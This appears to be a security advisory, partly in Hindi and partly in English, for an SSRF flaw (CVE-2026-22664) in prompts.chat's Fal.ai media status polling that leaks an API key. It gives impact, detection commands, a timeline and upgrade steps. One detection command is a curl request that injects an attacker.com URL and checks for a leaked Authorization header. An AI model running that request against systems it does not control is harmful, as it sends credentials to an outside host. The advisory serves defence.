prompts.chat SSRF Fal.ai मीडिया स्टेटस पोलिंग के माध्यम से

इस SSRF भेद्यता का शोषण करने वाला एक हमलावर Fal.ai मीडिया स्टेटस पोलिंग फ़ंक्शन में दुर्भावनापूर्ण URL इंजेक्ट कर सकता है। यह उन्हें अनधिकृत बाहरी अनुरोध करने की अनुमति देगा। सबसे महत्वपूर्ण बात यह है कि हमलावर FALAPIKEY को Authorization हेडर में उजागर कर सकता है। इस API कुंजी के साथ, वे पीड़ित के Fal.ai खाते का दुरुपयोग कर सकते हैं, आंतरिक नेटवर्क को स्कैन कर सकते हैं और संवेदनशील डेटा तक पहुंच प्राप्त कर सकते हैं। इस भेद्यता का उपयोग आंतरिक सेवाओं तक पहुंचने या अन्य बाहरी प्रणालियों के साथ बातचीत करने के लिए भी किया जा सकता है, जिससे संभावित रूप से अधिक व्यापक समझौता हो सकता है।

Organizations utilizing prompts.chat for internal communication or AI-powered chatbot applications are at risk. Specifically, deployments that rely on Fal.ai for media processing or storage are particularly vulnerable. Shared hosting environments where multiple users share the same prompts.chat instance should be carefully assessed, as a compromised account could impact other users.

• nodejs / server: Monitor application logs for outbound requests to unusual or unexpected domains. Use lsof or netstat to identify processes making outbound connections to suspicious IP addresses or ports.

lsof -i | grep prompts.chat

• generic web: Use curl to test the media status polling endpoint with a crafted URL containing a known malicious domain. Examine the response headers for any signs of credential leakage.

curl -v 'https://your-prompts-chat-instance/api/media_status?token=https://attacker.com' 2>&1 | grep Authorization

1. 2026-04-03Disclosure

   disclosure

1. आरक्षित2026-01-08
2. प्रकाशित2026-04-03
3. संशोधित2026-04-07
4. EPSS अद्यतन2026-04-11

CVE-2026-22664 को कम करने के लिए, तुरंत prompts.chat को संस्करण 30a8f0470e0ba45e6be9c9f55220f4a9a6b91c99 या बाद के संस्करण में अपग्रेड करें। यदि अपग्रेड करना तत्काल संभव नहीं है, तो एक वेब एप्लिकेशन फ़ायरवॉल (WAF) या प्रॉक्सी का उपयोग करके आउटबाउंड अनुरोधों को सीमित करने पर विचार करें। URL सत्यापन को मजबूत करने के लिए Fal.ai मीडिया स्टेटस पोलिंग फ़ंक्शन में इनपुट सत्यापन लागू करें। यह सुनिश्चित करें कि सभी API कुंजियाँ सुरक्षित रूप से संग्रहीत हैं और केवल अधिकृत उपयोगकर्ताओं द्वारा ही एक्सेस की जा सकती हैं। अपग्रेड के बाद, यह सुनिश्चित करने के लिए कि भेद्यता का समाधान हो गया है, मीडिया स्टेटस पोलिंग फ़ंक्शन के माध्यम से बाहरी URL के साथ अनुरोध करने का प्रयास करके सत्यापित करें।